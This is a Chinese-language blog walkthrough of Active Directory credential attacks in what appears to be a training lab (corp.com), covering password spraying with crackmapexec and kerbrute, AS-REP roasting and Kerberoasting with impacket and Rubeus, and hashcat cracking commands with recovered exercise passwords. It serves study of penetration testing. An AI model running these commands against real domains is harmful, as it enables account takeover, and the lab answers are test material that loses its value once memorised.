Active Directory 身分驗證攻擊 (1)
Active Directory 身分驗證攻擊 (1)
密碼攻擊
net accounts 先看一下網域內的密碼鎖定原則,才能避免暴力破解密碼攻擊造成帳號鎖定
$domainObj = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
$PDC = ($domainObj.PdcRoleOwner).Name
$SearchString = "LDAP://"
$SearchString += $PDC + "/"
$DistinguishedName = "DC=$($domainObj.Name.Replace('.', ',DC='))"
$SearchString += $DistinguishedName
New-Object System.DirectoryServices.DirectoryEntry($SearchString, "pete", "Nexus123!")
如果使用者帳戶的密碼正確,則物件建立將會成功
密碼錯誤出現如下畫面
format-default : The following exception occurred while retrieving member "distinguishedName": "The user name or
password is incorrect.
"
+ CategoryInfo : NotSpecified: (:) [format-default], ExtendedTypeSystemException
+ FullyQualifiedErrorId : CatchFromBaseGetMember,Microsoft.PowerShell.Commands.FormatDefaultCommand
使用密碼噴灑攻擊 Script ".\Spray-Passwords.ps1"
執行該 Script 針對網域內的帳號測試密碼 Nexus123!
獲得了 pete & jen 的密碼都是 Nexus123!
接下來針對 AD 使用者的密碼噴射攻擊利用 SMB,這是 AD 中密碼攻擊的傳統方法之一,並且存在一些缺點。例如,對於每次身份驗證嘗試,都必須設定完整的 SMB 連接,然後終止。因此,這種密碼攻擊由於產生的網路流量而非常吵雜。與其他技術相比,它也相當緩慢
可以直接在 Kali 上使用 crackmapexec 來執行這種密碼噴射
先建立一組使用者帳號清單檔案,名稱為 user.txt,執行 cat users.txt 包含三個帳號
接著使用指令 crackmapexec 與 SMB 協定,並指定使用者名稱檔案與特定密碼進行
crackmapexec smb 192.168.242.75 -u user.txt -p 'Nexus123!' -d corp.com --continue-on-success
可以看到 - 是不成功,+ 是成功,目前僅有 dave 的帳號是不成功
接著讓我們針對帳號 dave 與使用密碼 Flowers1 最同樣的動作
指令 └─$ crackmapexec smb 192.168.242.75 -u dave -p 'Flowers1' -d corp.com
可以看到這一次成功了如下,後面出現了 (Pwn3d!) 除了密碼有效外又表示了有管理者權限
將使用的第三種密碼噴射攻擊是基於取得 TGT。例如,在 Linux 系統上使用 kinit ,我們可以獲得並快取Kerberos TGT。我們需要提供使用者名稱和密碼才能執行此操作,如果憑證有效,我們將獲得 TGT。此技術的優點是它僅使用兩個 UDP 訊框來確定密碼是否有效,因為它僅發送 AS-REQ 並檢查回應,Windows 上可以使用 kerbrute 工具,我們一樣在 Windows 上面建立一個使用者清單名稱為 usernames.txt 並包含剛剛的三位使用者
指令 .\kerbrute_windows_amd64.exe passwordspray -d corp.com .\usernames.txt "Nexus123!"
kerbrute 確認了密碼 Nexus123!對使用者 pete 和 jen 有效
對於 crackmapexec 和 kerbrute,我們必須提供使用者名稱清單。要取得所有網域使用者的列表,我們可以利用在 Active Directory 簡介和枚舉模組中學到的技術 ,或使用這兩個工具的內建使用者枚舉功能。這些技術是在 AD 上下文中取得有效憑證的好方法,特別是在帳戶策略中沒有設定鎖定閾值的情況下,一旦有鎖定帳號的條件下要避免暴力攻擊的方式
練習 : 使用crackmapexec將pete的憑證噴灑到所有加入網域的電腦上。pete是哪一台電腦上的本機管理員?
使用指令 └─$ crackmapexec smb 192.168.242.74 -u pete -p 'Nexus123!' -d corp.com
AS-REP Roasting
前提已知一組使用者帳號密碼,使用指令
└─$ impacket-GetNPUsers -dc-ip 192.168.205.70 -request -outputfile hashes.asreproast corp.com/pete
下圖顯示 dave 使用者帳戶選項 "不需要啟用 Kerberos 預先驗證",表示容易受到 AS-REP Roasting 的攻擊
預設情況下,impacket-GetNPUsers 產生的雜湊格式與 Hashcat 相容,所以先查一下 Hashcat 針對 Kerberos AS-REP 的 mode 格式,指令 hashcat --help | grep -i "Kerberos",找到格式是 18200
將剛剛收到的 hash 檔案 "hashes.asreproast" 進行雜湊比對破解,指令 sudo hashcat -m 18200 hashes.asreproast /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force
一樣使用 rockyou.txt 密碼字典檔搭配 best64.rule 來破解,得到密碼 Flowers1
練習 : 執行 AS-REP Roasting 來獲取另一個明文密碼
已知使用者帳號密碼 pete / Nexus123! 執行 └─$ impacket-GetNPUsers -dc-ip 192.168.205.70 -request -outputfile hashes.asreproast corp.com/pete
發現有兩個使用者帳號 dave & jen "不需要啟用 Kerberos 預先驗證"
執行 hashcat 進行雜湊破解,密碼 Summerland1
上述是在 kali 上執行 impacket-GetNPUsers ,另一種獲取 AS-REP Roasting 的方式是在 Windows 上執行,透過 Rubeus.exe 來獲取 "不需要啟用 Kerberos 預先驗證" 的帳號如下
指令 .\Rubeus.exe asreproast /nowrap
將 hash 值 COPY 到 kali 用一樣用 hashcat 破解
COPY 過來產生一個檔案取名為 rubeus.hash
一樣 hashcat 試試看,指令 sudo hashcat -m 18200 rubeus.hash /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force
破解出來了,結果一樣
還有一個方式可以獲取 AD 網域中 "不需要啟用 Kerberos 預先驗證" 的用戶,透過 PowerView 中的 Get-DomainUser 搭配參數 -PreauthNotRequired 來列舉使用者
上圖中可以看到只能列舉使用者無法獲取該使用者的 hash,所以該方法是快速得知使用者訊息而已,一般不建議使用,且是緊要使用者帳號而已,故一般可以輸出加上 cn 快速列舉即可
指令 Get-DomainUser -PreauthNotRequired | select cn
另外如果對另一個 AD 使用者帳戶擁有 GenericWrite 或 GenericAll 權限。使用這些權限,我們可以重設他們的密碼,但這會阻止使用者存取該帳戶。我們也可以利用這些權限來修改使用者的使用者帳戶控制值,以便不需要 Kerberos 預先驗證,在 AD 帳號的選項中如下圖所示
可以參考 https://blog.netwrix.com/2022/11/03/cracking_ad_password_with_as_rep_roasting/
使用 Rubeus.exe 然後將輸出緊抓取 hash 並寫入檔案
指令 .\Rubeus.exe asreproast /format:hashcat /outfile:C:\Tools\hashes.txt
Kerberos Roasting
當使用者想要存取由服務主體名稱 (SPN) 託管的資源時,用戶端會要求由網域控制站產生的服務票證。然後,服務票證由應用程式伺服器解密和驗證,因為它是透過 SPN 的密碼雜湊加密的。 當從網域控制器要求服務票證時,不會執行任何檢查來確認使用者是否有權存取 SPN 託管的服務。 只有連接到服務本身時,才會作為第二步驟執行這些檢查。這意味著,如果我們知道要定位的 SPN,我們可以向網域控制器要求其服務票證。 服務票證使用 SPN 的密碼雜湊進行加密。如果我們能夠要求票證並使用暴力或猜測對其進行解密,我們就可以使用此資訊來破解服務帳戶的明文密碼。這種技術稱為 Kerberoasting。
這裡我們一樣採用 Rubeus.exe 這個工具,但這一次使用來請求確認 kerberoast
指令 .\Rubeus.exe kerberoast /outfile:hashes.kerberoast
詳細介紹 https://blog.harmj0y.net/redteaming/kerberoasting-revisited/
上圖中執行完畢後告訴我們 hash 存放在 C:\Tools\hashes.kerberoast,type 看一下內容如下
Rubeus 識別出一個容易受到 Kerberoasting 攻擊的使用者帳戶是 iis_service 這個 SPN 服務帳號
一樣先 COPY 到 kali 建立一個檔案名稱一樣的為 hashes.kerberoast
查一下 hashcat 的 mode 格式,指令 hashcat --help | grep -i "Kerberos"
TGS-REP 有兩個,這裡要用的是 13100 這一個
一樣的動作 hashcat 破解吧,指令 sudo hashcat -m 13100 hashes.kerberoast /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force
練習 : 執行 Kerberoasting 來取得另一個明文密碼,並將其輸入作為本練習的答案。要破解 TGS-REP 哈希,請建立並使用一個規則文件,該文件將「1」添加到rockyou.txt的密碼中
執行 .\Rubeus.exe kerberoast /outfile:hashes.kerberoast,結果帳號是 pete
要在原有的 rockyou.txt 後面都加上 1 那就先建立一個 rule 檔案稱為 customer.rule
內容是 "$1",開始破解吧,指令 └─$ sudo hashcat -m 13100 hashes.kerberoast /usr/share/wordlists/rockyou.txt -r ./customer.rule --force
獲得答案啦是 MattLovesAutumn1
留言
張貼留言